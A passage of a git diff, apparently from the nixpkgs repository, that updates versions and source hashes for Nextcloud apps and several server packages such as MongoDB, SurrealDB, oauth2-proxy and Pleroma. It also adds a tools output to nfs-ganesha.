Write down additional notes in Markdown\n- 🔖 Assign labels for even better organization\n- 👥 Share with your team, friends or family\n- 📎 Attach files and embed them in your Markdown description\n- 💬 Discuss with your team using comments\n- ⚡ Keep track of changes in the activity stream\n- 🚀 Get your project organized", "homepage": "https://github.com/nextcloud/deck", "licenses": [ @@ -90,9 +90,9 @@ ] }, "forms": { - "sha256": "143paalwm44vd9sa9ql30q986bm9z8kr39ky5hvcfai52w1ysrjq", - "url": "https://github.com/nextcloud-releases/forms/releases/download/v3.4.5/forms-v3.4.5.tar.gz", - "version": "3.4.5", + "sha256": "1nwsbl3lh0s4if4665b1z7nf7r62chazfb5g3fdrlffrrrqbdj4y", + "url": "https://github.com/nextcloud-releases/forms/releases/download/v3.4.6/forms-v3.4.6.tar.gz", + "version": "3.4.6", "description": "**Simple surveys and questionnaires, self-hosted!**\n\n- **📝 Simple design:** No mass of options, only the essentials. Works well on mobile of course.\n- **📊 View & export results:** Results are visualized and can also be exported as CSV in the same format used by Google Forms.\n- **🔒 Data under your control!** Unlike in Google Forms, Typeform, Doodle and others, the survey info and responses are kept private on your instance.\n- **🧑💻 Connect to your software:** Easily integrate Forms into your service with our full-fledged [REST-API](https://github.com/nextcloud/forms/blob/main/docs/API.md).\n- **🙋 Get involved!** We have lots of stuff planned like more question types, collaboration on forms, [and much more](https://github.com/nextcloud/forms/milestones)!", "homepage": "https://github.com/nextcloud/forms", "licenses": [ @@ -110,9 +110,9 @@ ] }, "groupfolders": { - "sha256": "1sihhcai7i7gnkl0adq1injlsvk5ainvy71a2373iqmpmi167pyf", - "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v15.3.4/groupfolders-v15.3.4.tar.gz", - "version": "15.3.4", + "sha256": "0p3g19cmfjn1zql6cr3bv0cvfj078vh6ian024iwvc6ir8fmsni0", + "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v15.3.5/groupfolders-v15.3.5.tar.gz", + "version": "15.3.5", "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.\n\nNote: Encrypting the contents of group folders is currently not supported.", "homepage": "https://github.com/nextcloud/groupfolders", "licenses": [ @@ -140,9 +140,9 @@ ] }, "mail": { - "sha256": "15268xavb4wpkc12anz6wiry87hvy55nf141lc660wr22iivy79r", - "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.5.5/mail-v3.5.5.tar.gz", - "version": "3.5.5", + "sha256": "122qyz6d9771ivpl771g5wi3lxsd2g3v64n9cp5clm8p662msjfi", + "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.5.7/mail-v3.5.7.tar.gz", + "version": "3.5.7", "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).", "homepage": "https://github.com/nextcloud/mail#readme", "licenses": [ @@ -270,9 +270,9 @@ ] }, "spreed": { - "sha256": "0dpys4h9rn3sw46iiffghf3n10hda9jk7kz1vxy4jna1zczarw6j", - "url": "https://github.com/nextcloud-releases/spreed/releases/download/v17.1.5/spreed-v17.1.5.tar.gz", - "version": "17.1.5", + "sha256": "0vlmgiwjqk8bjvjkamca4b97lqs5wj1c4xsdz87gd1zjz3ja4332", + "url": "https://github.com/nextcloud-releases/spreed/releases/download/v17.1.6/spreed-v17.1.6.tar.gz", + "version": "17.1.6", "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat integration!** Nextcloud Talk comes with a simple text chat. Allowing you to share files from your Nextcloud and mentioning other participants.\n* 👥 **Private, group, public and password protected calls!** Just invite somebody, a whole group or send a public link to invite to a call.\n* 💻 **Screen sharing!** Share your screen with participants of your call. You just need to use Firefox version 66 (or newer), latest Edge or Chrome 72 (or newer, also possible using Chrome 49 with this [Chrome extension](https://chrome.google.com/webstore/detail/screensharing-for-nextclo/kepnpjhambipllfmgmbapncekcmabkol)).\n* 🚀 **Integration with other Nextcloud apps** like Files, Contacts and Deck. More to come.\n\nAnd in the works for the [coming versions](https://github.com/nextcloud/spreed/milestones/):\n* ✋ [Federated calls](https://github.com/nextcloud/spreed/issues/21), to call people on other Nextclouds", "homepage": "https://github.com/nextcloud/spreed", "licenses": [ @@ -320,9 +320,9 @@ ] }, "user_oidc": { - "sha256": "0iyd1lkzfl7nh2sy5k9a6p86mswm5p0cyqj3ia613sw2fm49sl1b", - "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v1.3.6/user_oidc-v1.3.6.tar.gz", - "version": "1.3.6", + "sha256": "06w6r1cmrahh9kr6rxc3nmy9q4m8fmf6afwgkvah3xixqnq04iwb", + "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.1/user_oidc-v5.0.1.tar.gz", + "version": "5.0.1", "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.", "homepage": "https://github.com/nextcloud/user_oidc", "licenses": [ diff --git a/pkgs/servers/nextcloud/packages/28.json b/pkgs/servers/nextcloud/packages/28.json index d7d5a780f919c..3fba36b2d64ca 100644 --- a/pkgs/servers/nextcloud/packages/28.json +++ b/pkgs/servers/nextcloud/packages/28.json @@ -10,9 +10,9 @@ ] }, "calendar": { - "sha256": "06blkrgc9jq8zizgchn8az2cj0s3yy8s05kyhiwj1nb1rx32682j", - "url": "https://github.com/nextcloud-releases/calendar/releases/download/v4.6.4/calendar-v4.6.4.tar.gz", - "version": "4.6.4", + "sha256": "18mi6ccq640jq21hmir35v2967h07bjv226072d9qz5qkzkmrhss", + "url": "https://github.com/nextcloud-releases/calendar/releases/download/v4.6.5/calendar-v4.6.5.tar.gz", + "version": "4.6.5", "description": "The Calendar app is a user interface for Nextcloud's CalDAV server. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Contacts - more to come.\n* 🌐 **WebCal Support!** Want to see your favorite team’s matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚️ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 Search! Find your events at ease\n* ☑️ Tasks! See tasks with a due date directly in the calendar\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.", "homepage": "https://github.com/nextcloud/calendar/", "licenses": [ @@ -20,9 +20,9 @@ ] }, "contacts": { - "sha256": "1wq6xj9r1f2raqhpj222269y8dkn5zx9mnw7zrbxwpz8c67s3h6n", - "url": "https://github.com/nextcloud-releases/contacts/releases/download/v5.5.1/contacts-v5.5.1.tar.gz", - "version": "5.5.1", + "sha256": "0g6pbzm7bxllpkf9jqkrb3ys8xvbmayxc3rqwspalzckayjbz98m", + "url": "https://github.com/nextcloud-releases/contacts/releases/download/v5.5.2/contacts-v5.5.2.tar.gz", + "version": "5.5.2", "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.", "homepage": "https://github.com/nextcloud/contacts#readme", "licenses": [ @@ -50,9 +50,9 @@ ] }, "deck": { - "sha256": "08yxwrf5dx8fh70hcpr54ca5h6f2p2ck2hmjnxz5jymd6pnadsr6", - "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.12.1/deck-v1.12.1.tar.gz", - "version": "1.12.1", + "sha256": "0s8zhmqj3h4ajiwvki5bdxrbzckq9l8pr04hz6vs7jx3hpanj22g", + "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.12.2/deck-v1.12.2.tar.gz", + "version": "1.12.2", "description": "Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud.\n\n\n- 📥 Add your tasks to cards and put them in order\n- 📄 Write down additional notes in Markdown\n- 🔖 Assign labels for even better organization\n- 👥 Share with your team, friends or family\n- 📎 Attach files and embed them in your Markdown description\n- 💬 Discuss with your team using comments\n- ⚡ Keep track of changes in the activity stream\n- 🚀 Get your project organized", "homepage": "https://github.com/nextcloud/deck", "licenses": [ @@ -70,9 +70,9 @@ ] }, "forms": { - "sha256": "1j0jmwvy6cqiqc20w66na5wzdf0ri60v4fc6cd90fxq9p93m41wi", - "url": "https://github.com/nextcloud-releases/forms/releases/download/v4.1.0/forms-v4.1.0.tar.gz", - "version": "4.1.0", + "sha256": "0iqkwnadhi6i1gnx7wiqny862g25kfiqi2mgkaf5cyiig3rispa0", + "url": "https://github.com/nextcloud-releases/forms/releases/download/v4.1.1/forms-v4.1.1.tar.gz", + "version": "4.1.1", "description": "**Simple surveys and questionnaires, self-hosted!**\n\n- **📝 Simple design:** No mass of options, only the essentials. Works well on mobile of course.\n- **📊 View & export results:** Results are visualized and can also be exported as CSV in the same format used by Google Forms.\n- **🔒 Data under your control!** Unlike in Google Forms, Typeform, Doodle and others, the survey info and responses are kept private on your instance.\n- **🧑💻 Connect to your software:** Easily integrate Forms into your service with our full-fledged [REST-API](https://github.com/nextcloud/forms/blob/main/docs/API.md).\n- **🙋 Get involved!** We have lots of stuff planned like more question types, collaboration on forms, [and much more](https://github.com/nextcloud/forms/milestones)!", "homepage": "https://github.com/nextcloud/forms", "licenses": [ @@ -90,9 +90,9 @@ ] }, "groupfolders": { - "sha256": "17v57z7fsbp2m3918x78zrm3ywnbm7vsrcb48x44v5pakdhca3gy", - "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v16.0.3/groupfolders-v16.0.3.tar.gz", - "version": "16.0.3", + "sha256": "00237wdfn7yj31mjpv6crnk0lrazy9iljfcpxjhy4g91d8sc3f5d", + "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v16.0.4/groupfolders-v16.0.4.tar.gz", + "version": "16.0.4", "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.\n\nNote: Encrypting the contents of group folders is currently not supported.", "homepage": "https://github.com/nextcloud/groupfolders", "licenses": [ @@ -120,9 +120,9 @@ ] }, "mail": { - "sha256": "15268xavb4wpkc12anz6wiry87hvy55nf141lc660wr22iivy79r", - "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.5.5/mail-v3.5.5.tar.gz", - "version": "3.5.5", + "sha256": "122qyz6d9771ivpl771g5wi3lxsd2g3v64n9cp5clm8p662msjfi", + "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.5.7/mail-v3.5.7.tar.gz", + "version": "3.5.7", "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).", "homepage": "https://github.com/nextcloud/mail#readme", "licenses": [ @@ -200,9 +200,9 @@ ] }, "polls": { - "sha256": "1jsxgnn6vvbn1v0x8k2zf95pdqlrg6pxrvn32sms8sfzgq3lbn7m", - "url": "https://github.com/nextcloud/polls/releases/download/v6.0.1/polls.tar.gz", - "version": "6.0.1", + "sha256": "1a5fyx1wvgwm2mjqmg5kah3x2y77zw8ly1zvcx6m4x50s113rkbi", + "url": "https://github.com/nextcloud/polls/releases/download/v6.1.6/polls.tar.gz", + "version": "6.1.6", "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).", "homepage": "https://github.com/nextcloud/polls", "licenses": [ @@ -240,9 +240,9 @@ ] }, "spreed": { - "sha256": "0nfjm8cjhgmkrr68gnnabma4z6v3rpc00c6yg22kq7shnk1cn6k1", - "url": "https://github.com/nextcloud-releases/spreed/releases/download/v18.0.3/spreed-v18.0.3.tar.gz", - "version": "18.0.3", + "sha256": "1kjlrjgclmz39a0zdjr6863cipv5i5fwaigasd2cfxx1r7zrd7sx", + "url": "https://github.com/nextcloud-releases/spreed/releases/download/v18.0.4/spreed-v18.0.4.tar.gz", + "version": "18.0.4", "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat integration!** Nextcloud Talk comes with a simple text chat. Allowing you to share files from your Nextcloud and mentioning other participants.\n* 👥 **Private, group, public and password protected calls!** Just invite somebody, a whole group or send a public link to invite to a call.\n* 💻 **Screen sharing!** Share your screen with participants of your call. You just need to use Firefox version 66 (or newer), latest Edge or Chrome 72 (or newer, also possible using Chrome 49 with this [Chrome extension](https://chrome.google.com/webstore/detail/screensharing-for-nextclo/kepnpjhambipllfmgmbapncekcmabkol)).\n* 🚀 **Integration with other Nextcloud apps** like Files, Contacts and Deck. More to come.\n\nAnd in the works for the [coming versions](https://github.com/nextcloud/spreed/milestones/):\n* ✋ [Federated calls](https://github.com/nextcloud/spreed/issues/21), to call people on other Nextclouds", "homepage": "https://github.com/nextcloud/spreed", "licenses": [ @@ -280,9 +280,9 @@ ] }, "user_oidc": { - "sha256": "0iyd1lkzfl7nh2sy5k9a6p86mswm5p0cyqj3ia613sw2fm49sl1b", - "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v1.3.6/user_oidc-v1.3.6.tar.gz", - "version": "1.3.6", + "sha256": "06w6r1cmrahh9kr6rxc3nmy9q4m8fmf6afwgkvah3xixqnq04iwb", + "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.1/user_oidc-v5.0.1.tar.gz", + "version": "5.0.1", "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.", "homepage": "https://github.com/nextcloud/user_oidc", "licenses": [ diff --git a/pkgs/servers/nfs-ganesha/default.nix b/pkgs/servers/nfs-ganesha/default.nix index 5f32437970c92..54f0cdbd48579 100644 --- a/pkgs/servers/nfs-ganesha/default.nix +++ b/pkgs/servers/nfs-ganesha/default.nix @@ -6,6 +6,7 @@ stdenv.mkDerivation rec { pname = "nfs-ganesha"; version = "5.7"; + outputs = [ "out" "tools" ]; src = fetchFromGitHub { owner = "nfs-ganesha"; @@ -43,10 +44,18 @@ stdenv.mkDerivation rec { nfs-utils ]; + postPatch = '' + substituteInPlace src/tools/mount.9P --replace "/bin/mount" "/usr/bin/env mount" + ''; + postFixup = '' patchelf --add-rpath $out/lib $out/bin/ganesha.nfsd ''; + postInstall = '' + install -Dm755 $src/src/tools/mount.9P $tools/bin/mount.9P + ''; + meta = with lib; { description = "NFS server that runs in user space"; homepage = "https://github.com/nfs-ganesha/nfs-ganesha/wiki"; @@ -54,5 +63,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; license = licenses.lgpl3Plus; mainProgram = "ganesha.nfsd"; + outputsToInstall = [ "out" "tools" ]; }; } diff --git a/pkgs/servers/nosql/aerospike/default.nix b/pkgs/servers/nosql/aerospike/default.nix index 301cb7de1aac8..dc2ed8c79ec1c 100644 --- a/pkgs/servers/nosql/aerospike/default.nix +++ b/pkgs/servers/nosql/aerospike/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "aerospike-server"; - version = "7.0.0.3"; + version = "7.0.0.4"; src = fetchFromGitHub { owner = "aerospike"; repo = "aerospike-server"; rev = version; - hash = "sha256-qyVfoOnWIUY1np58HtpVrKNsgiXlvdgffyMGjk+G5qI="; + hash = "sha256-CyDGJ0fM9mDNOG1CV/noaSDIh8x/duM3NhgLTnANNKA="; fetchSubmodules = true; }; diff --git a/pkgs/servers/nosql/ferretdb/default.nix b/pkgs/servers/nosql/ferretdb/default.nix index 69ee8650697f9..526253c7b67f2 100644 --- a/pkgs/servers/nosql/ferretdb/default.nix +++ b/pkgs/servers/nosql/ferretdb/default.nix @@ -6,13 +6,13 @@ buildGoModule rec { pname = "ferretdb"; - version = "1.19.0"; + version = "1.20.1"; src = fetchFromGitHub { owner = "FerretDB"; repo = "FerretDB"; rev = "v${version}"; - hash = "sha256-G2eQ0CjvZYYTFnx1U+qUGiZLqY8Xx70p7J1lkzbxmF8="; + hash = "sha256-joLl0LTDGP2FVYcUIknrLPYorfIlMXli+igV/Z4P0BI="; }; postPatch = '' @@ -20,7 +20,7 @@ buildGoModule rec { echo nixpkgs > build/version/package.txt ''; - vendorHash = "sha256-27WwvhX4QHmhBbg8/OFA7MKo34jwngkDQ/ahqV3N4qY="; + vendorHash = "sha256-lkJagsagJT8qP3/cd6Rfe2mqjOmDK7R+we0eblyT9rw="; CGO_ENABLED = 0; diff --git a/pkgs/servers/nosql/mongodb/4.4.nix b/pkgs/servers/nosql/mongodb/4.4.nix index 25298d55bdd27..933e9136aee07 100644 --- a/pkgs/servers/nosql/mongodb/4.4.nix +++ b/pkgs/servers/nosql/mongodb/4.4.nix @@ -6,8 +6,8 @@ let }; in buildMongoDB { - version = "4.4.27"; - sha256 = "sha256-HcTI/0igzCR5g8Wai5zKEuK3BjFrpRP/9GwZh5wqmtc="; + version = "4.4.28"; + sha256 = "sha256-aq4dJl2FOTOhQ3bzVj0L/0CE3obE7lCx2ecjGNYC8X4="; patches = [ ./forget-build-dependencies-4-4.patch ./fix-build-with-boost-1.79-4_4.patch diff --git a/pkgs/servers/nosql/mongodb/5.0.nix b/pkgs/servers/nosql/mongodb/5.0.nix index 7d6985f21054e..2a26cb94eb168 100644 --- a/pkgs/servers/nosql/mongodb/5.0.nix +++ b/pkgs/servers/nosql/mongodb/5.0.nix @@ -6,8 +6,8 @@ let }; variants = if stdenv.isLinux then { - version = "5.0.23"; - sha256 = "sha256-URIOBsR64ppZP4DiDg3hXnOGEUwRXhA1P5ZuecsT2mE="; + version = "5.0.24"; + sha256 = "sha256-6CVQOHN3yFTq6OyVkZMYEjIKfFbQZ6M5KAa3k7qv4Gc="; patches = [ ./fix-build-with-boost-1.79-5_0-linux.patch ]; } else lib.optionalAttrs stdenv.isDarwin diff --git a/pkgs/servers/nosql/mongodb/6.0.nix b/pkgs/servers/nosql/mongodb/6.0.nix index 2a3ecb07bec41..edc7ee0474665 100644 --- a/pkgs/servers/nosql/mongodb/6.0.nix +++ b/pkgs/servers/nosql/mongodb/6.0.nix @@ -6,8 +6,8 @@ let }; in buildMongoDB { - version = "6.0.12"; - sha256 = "sha256-5orVFio+4HIzhs63KJdZ1RHOPoOMa9Uk/8bygRs1JoY="; + version = "6.0.13"; + sha256 = "sha256-BD3XrTdv4sCa3h37o1A2s3/R0R8zHiR59a4pY0RxLGU="; patches = [ (fetchpatch { name = "mongodb-6.1.0-rc-more-specific-cache-alignment-types.patch"; diff --git a/pkgs/servers/nosql/neo4j/default.nix b/pkgs/servers/nosql/neo4j/default.nix index f7eff31691ebe..3bf736bdc2386 100644 --- a/pkgs/servers/nosql/neo4j/default.nix +++ b/pkgs/servers/nosql/neo4j/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "neo4j"; - version = "5.16.0"; + version = "5.17.0"; src = fetchurl { url = "https://neo4j.com/artifact.php?name=neo4j-community-${version}-unix.tar.gz"; - hash = "sha256-XelRjO74bT6HrrUTy5lvbz9NzhHbW7HSMIyrMn3rmJA="; + hash = "sha256-l1t5RI5KfgzT9ynDQxSbUtIEdPs1BVCdY4396GHJxEA="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/servers/nosql/questdb/default.nix b/pkgs/servers/nosql/questdb/default.nix index 454a48beefd76..01d86bdb02ef6 100644 --- a/pkgs/servers/nosql/questdb/default.nix +++ b/pkgs/servers/nosql/questdb/default.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "questdb"; - version = "7.3.9"; + version = "7.3.10"; src = fetchurl { url = "https://github.com/questdb/questdb/releases/download/${finalAttrs.version}/questdb-${finalAttrs.version}-no-jre-bin.tar.gz"; - hash = "sha256-kbpLeFOLzVPnoNlnFAPmPhfuNmEEkrrE4QLN3GXMZ1M="; + hash = "sha256-diltorfAnyrXZwohrsZHA91AXuSZolxDUajfmOaD5lM="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/nosql/surrealdb/default.nix b/pkgs/servers/nosql/surrealdb/default.nix index d32ad52145654..ce1ed67d20464 100644 --- a/pkgs/servers/nosql/surrealdb/default.nix +++ b/pkgs/servers/nosql/surrealdb/default.nix @@ -13,16 +13,16 @@ rustPlatform.buildRustPackage rec { pname = "surrealdb"; - version = "1.1.1"; + version = "1.2.1"; src = fetchFromGitHub { owner = "surrealdb"; repo = "surrealdb"; rev = "v${version}"; - hash = "sha256-3xH0trwTs2Cr07/PtA4K808PUwaT6WmrIr2+11L7t6A="; + hash = "sha256-ICQvAyBV+7cyHiwwiPEaoGT/W/pM4yiSpqByzkByRK4="; }; - cargoHash = "sha256-dNn2HMZ7c/q/EhfMUHqWV79+3gMA9URqEozdEixkV/0="; + cargoHash = "sha256-a9ZRr6U7mKCk2uaXJmCJMaCQxJ9adbRLMRUpJrsookk="; # error: linker `aarch64-linux-gnu-gcc` not found postPatch = '' diff --git a/pkgs/servers/oauth2-proxy/default.nix b/pkgs/servers/oauth2-proxy/default.nix index 152b3a31d85e5..6b4baa8f11df4 100644 --- a/pkgs/servers/oauth2-proxy/default.nix +++ b/pkgs/servers/oauth2-proxy/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "oauth2-proxy"; - version = "7.5.1"; + version = "7.6.0"; src = fetchFromGitHub { repo = pname; owner = "oauth2-proxy"; - sha256 = "sha256-zIw30pFf/IxruG3MYwrrLhANBPemLsYdYnPRO+EWNs0="; + sha256 = "sha256-7DmeXl/aDVFdwUiuljM79CttgjzdTVsSeAYrETuJG0M="; rev = "v${version}"; }; - vendorHash = "sha256-Z2yPfUkDb07db8T3/1v9onnNloaKEN5tdrMDNIy7QHo="; + vendorHash = "sha256-ihFNFtfiCGGyJqB2o4SMYleKdjGR4P5JewkynOsC1f0="; # Taken from https://github.com/oauth2-proxy/oauth2-proxy/blob/master/Makefile ldflags = [ "-X main.VERSION=${version}" ]; diff --git a/pkgs/servers/owntracks-recorder/default.nix b/pkgs/servers/owntracks-recorder/default.nix index 83ebe99c11292..c0c28fac254e1 100644 --- a/pkgs/servers/owntracks-recorder/default.nix +++ b/pkgs/servers/owntracks-recorder/default.nix @@ -16,13 +16,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "owntracks-recorder"; - version = "0.9.6"; + version = "0.9.7"; src = fetchFromGitHub { owner = "owntracks"; repo = "recorder"; rev = finalAttrs.version; - hash = "sha256-QpPZDh++WHIvIgml32UWtAe3tzh2x7lFUu2xdioNGW4="; + hash = "sha256-KDImoIUAkjCa4O++F9LdDN+i8VoC78g8644Rhbpy+mc="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/photoprism/backend.nix b/pkgs/servers/photoprism/backend.nix index f1f0bc4557ce4..7403f4dc897f1 100644 --- a/pkgs/servers/photoprism/backend.nix +++ b/pkgs/servers/photoprism/backend.nix @@ -19,7 +19,7 @@ buildGoModule rec { substituteInPlace internal/commands/passwd.go --replace '/bin/stty' "${coreutils}/bin/stty" ''; - vendorHash = "sha256-SJjq2O7efqzzsg8I7n7pVqzG+jK0SsPT4J4iDdsMY4c="; + vendorHash = "sha256-mt2L5vf57/MntjtfJVua799nF4CkRYI8payLoPc0oQA="; subPackages = [ "cmd/photoprism" ]; diff --git a/pkgs/servers/photoprism/default.nix b/pkgs/servers/photoprism/default.nix index 8ad37a8aa387a..f2f7914394b8a 100644 --- a/pkgs/servers/photoprism/default.nix +++ b/pkgs/servers/photoprism/default.nix @@ -1,14 +1,14 @@ { pkgs, lib, stdenv, fetchFromGitHub, fetchzip, darktable, rawtherapee, ffmpeg, libheif, exiftool, imagemagick, makeWrapper, testers }: let - version = "231011-63f708417"; + version = "231128-f48ff16ef"; pname = "photoprism"; src = fetchFromGitHub { owner = pname; repo = pname; rev = version; - hash = "sha256-g/j+L++vb+wiE23d/lm6lga0MeaPrCotEojD9Sajkmg="; + hash = "sha256-gVxKa5JKGz5VSVCuJHat0DWCYaUH+9an6JsYUPe9muQ="; }; libtensorflow = pkgs.callPackage ./libtensorflow.nix { }; diff --git a/pkgs/servers/photoprism/frontend.nix b/pkgs/servers/photoprism/frontend.nix index 9793fa461ca5c..782efb1d0d3de 100644 --- a/pkgs/servers/photoprism/frontend.nix +++ b/pkgs/servers/photoprism/frontend.nix @@ -8,7 +8,7 @@ buildNpmPackage { cd frontend ''; - npmDepsHash = "sha256-v7G06x/6MAFlOPbmkdh9Yt9/0BcMSYXI5EUmIHKiVFo="; + npmDepsHash = "sha256-4bAWSSy7kvG1ChzEb2iuxgWxnkjtJlr7Lm7USbgsmAw="; installPhase = '' runHook preInstall diff --git a/pkgs/servers/piping-server-rust/default.nix b/pkgs/servers/piping-server-rust/default.nix index f29cf359d4eeb..f3cc1c5543c48 100644 --- a/pkgs/servers/piping-server-rust/default.nix +++ b/pkgs/servers/piping-server-rust/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "piping-server-rust"; - version = "0.16.0"; + version = "0.18.0"; src = fetchFromGitHub { owner = "nwtgck"; repo = pname; rev = "v${version}"; - sha256 = "sha256-cWBNO9V9DMbEhkjG8g/iswV04DeYh3tXv0+1hB/pf64="; + sha256 = "sha256-8kYaANVWmBOncTdhtjjbaYnEFQeuWjemdz/kTjwj2fw="; }; - cargoSha256 = "sha256-jZio6y2m14tVi3nTQqh+8W3hxft5PfAIWm2XpuyCKDU="; + cargoHash = "sha256-YSiClSnjgqFqT2IGJoatcy7j3NUKcff826AvJ/+RNNU="; buildInputs = lib.optionals stdenv.isDarwin [ CoreServices Security ]; diff --git a/pkgs/servers/pleroma/default.nix b/pkgs/servers/pleroma/default.nix index 485c27e12da88..c57c1bad3d871 100644 --- a/pkgs/servers/pleroma/default.nix +++ b/pkgs/servers/pleroma/default.nix @@ -7,14 +7,14 @@ beamPackages.mixRelease rec { pname = "pleroma"; - version = "2.6.1"; + version = "2.6.2"; src = fetchFromGitLab { domain = "git.pleroma.social"; owner = "pleroma"; repo = "pleroma"; rev = "v${version}"; - sha256 = "sha256-VIGlJ5+99l+VSUl7c9jiQf94X/JV0+HFgI8xQ4ZLQ9s="; + sha256 = "sha256-KVB6e/B6DJbylpfR8QTZJ1GOJrAqF6shqoU/zIndi1U="; }; patches = [ @@ -47,8 +47,8 @@ beamPackages.mixRelease rec { group = "pleroma"; owner = "elixir-libraries"; repo = "elixir-captcha"; - rev = "e0f16822d578866e186a0974d65ad58cddc1e2ab"; - sha256 = "0qbf86l59kmpf1nd82v4141ba9ba75xwmnqzpgbm23fa1hh8pi9c"; + rev = "90f6ce7672f70f56708792a98d98bd05176c9176"; + hash = "sha256-s7EuAhmCsQA/4p2NJHJSWB/DZ5hA+7EelPsUOvKr2Po="; }; beamDeps = with final; [ ]; diff --git a/pkgs/servers/pocketbase/default.nix b/pkgs/servers/pocketbase/default.nix index 43e173c902447..9820fbab7dc2f 100644 --- a/pkgs/servers/pocketbase/default.nix +++ b/pkgs/servers/pocketbase/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "pocketbase"; - version = "0.21.2"; + version = "0.22.2"; src = fetchFromGitHub { owner = "pocketbase"; repo = "pocketbase"; rev = "v${version}"; - hash = "sha256-EOj+x6n0ww6al57X4mDM4T9/3Za5w8N/Bno5Trlb5dY="; + hash = "sha256-y+8mBfMZI6FF8nzmlN0NaAP4Jbr69DYQnvle0TWt2kY="; }; - vendorHash = "sha256-u7VgZkv9Ajtra9ikeIxJRLZleH+rzs1g2SZO9zj/bes="; + vendorHash = "sha256-Q3DlOKaE3fUlRMSfi8Ta9ZyyOE+viiONVUO8x4JACDg="; # This is the released subpackage from upstream repo subPackages = [ "examples/base" ]; diff --git 